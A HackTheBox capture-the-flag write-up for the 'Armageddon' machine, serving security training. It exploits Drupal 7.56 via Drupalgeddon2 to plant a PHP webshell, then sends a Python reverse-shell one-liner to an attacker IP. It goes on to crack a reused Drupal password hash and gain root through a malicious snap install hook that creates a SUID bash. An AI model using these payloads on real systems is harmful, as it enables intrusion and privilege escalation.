Skip to content

Armageddon Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Armageddon is an easy CentOS box running an outdated Drupal 7 install. Drupalgeddon2 gets RCE as apache, database credentials in settings.php lead to a cracked Drupal hash reused as the OS password, and a NOPASSWD sudo rule on snap install finishes with root through a custom snap package.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p22,80 $TARGET_IP -oA nmap/nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
|_http-title: Welcome to Armageddon | Armageddon

Drupal 7 confirmed via http-generator and the standard Drupal paths in robots.txt. CHANGELOG.txt is exposed and leaks the exact version.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/CHANGELOG.txt | head -5
Drupal 7.56, 2017-06-21

Drupal 7.56 is vulnerable to Drupalgeddon2 (CVE-2018-7600), a pre-auth RCE.

Initial Access

Drupalgeddon2

┌──(kali㉿kali)-[~]
└─$ searchsploit drupal 7.56
Drupal < 7.58 - 'Drupalgeddon2' Remote Code Execution  | php/webapps/44449.rb

Install the required dependency and run the exploit:

┌──(kali㉿kali)-[~]
└─$ gem install highline
┌──(kali㉿kali)-[~]
└─$ ruby exploit.rb http://$TARGET_IP --verbose
[+] Drupal!: v7.56
[+] Result : Form valid
[+] Good News Everyone! Target seems to be exploitable (Code execution)!
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
[i] Fake PHP shell: curl 'http://$TARGET_IP/shell.php' -d 'c=hostname'

The exploit confirmed the exact version via CHANGELOG.txt, used the user/password form's #post_render callback to inject a passthru() call, then wrote a PHP webshell to the web root. Trigger a reverse shell through the webshell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
curl "http://$TARGET_IP/shell.php" \
  -d "c=python3+-c+'import socket,subprocess,os;s=socket.socket();s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));subprocess.call([\"/bin/bash\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"

Lateral Movement

DB credentials in settings.php

┌──(kali㉿kali)-[~]
└─$ cat /var/www/html/sites/default/settings.php
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => '$DRUPALUSER_PASSWORD',
      'host' => 'localhost',
      'driver' => 'mysql',
    ),
  ),
);

Dump the Drupal users table directly:

┌──(kali㉿kali)-[~]
└─$ mysql -u drupaluser -p'$DRUPALUSER_PASSWORD' -e 'use drupal; select name,pass from users;'
name                 pass
brucetherealadmin    $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Drupal 7 uses a SHA-512 based hash format ($S$). Crack it with John:

┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
$BRUCE_PASSWORD    (brucetherealadmin)
1g 0:00:00:01 DONE

Test for password reuse on the OS account:

┌──(kali㉿kali)-[~]
└─$ ssh brucetherealadmin@$TARGET_IP
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin

Password reused. User reached.

Privilege Escalation

sudo snap install

brucetherealadmin@armageddon ~ $ sudo -l
User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

snap install runs a package's install hook as root. A malicious snap with a hook that copies bash and sets the SUID bit gets root execution. The standard GTFOBins technique builds the snap using fpm on the target, but wget and gem were both absent and the target had no internet access. Build the snap entirely on the attacker box using mksquashfs instead, then transfer it with curl.

Two dead ends before the working payload:

The first hook targeted /bin/bash directly with chmod +s. The hook ran but /bin/bash sits on a read-only mounted filesystem, so chmod failed with a read-only filesystem error.

The second hook copied bash to /tmp. The install reported success but the file never appeared. The systemd-private-* directories in /tmp confirmed that snapd runs with PrivateTmp=yes, so whatever the hook wrote to /tmp landed in a private mount namespace invisible to the interactive session.

The fix is targeting the home directory, which is writable by root and shared across all namespaces.

Building the snap on the attacker box

┌──(kali㉿kali)-[~]
└─$ mkdir -p sneaky-snap/meta/hooks
┌──(kali㉿kali)-[~]
└─$ cat > sneaky-snap/meta/snap.yaml << 'EOF'
name: sneaky
version: 0.1
summary: sneaky
description: sneaky
confinement: devmode
grade: devel
EOF
┌──(kali㉿kali)-[~]
└─$ cat > sneaky-snap/meta/hooks/install << 'EOF'
#!/bin/bash
cp /bin/bash /home/brucetherealadmin/rootbash
chmod +s /home/brucetherealadmin/rootbash
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x sneaky-snap/meta/hooks/install
┌──(kali㉿kali)-[~]
└─$ mksquashfs sneaky-snap sneaky.snap -noappend -comp xz -no-fragments -no-progress
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000

Transfer and execute on target

brucetherealadmin@armageddon ~ $ curl -O http://$ATTACKER_IP:8000/sneaky.snap
brucetherealadmin@armageddon ~ $ sudo /usr/bin/snap install --dangerous --devmode sneaky.snap
brucetherealadmin@armageddon ~ $ ls -la /home/brucetherealadmin/rootbash
sneaky 0.1 installed
-rwsr-sr-x. 1 root root 1037528 Aug 3 16:45 /home/brucetherealadmin/rootbash
brucetherealadmin@armageddon ~ $ /home/brucetherealadmin/rootbash -p
rootbash-4.3# id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) egid=0(root)

euid=0 confirms root. The libtinfo.so.5 warning on startup is a harmless library version mismatch between the Kali-copied binary and the CentOS target.

References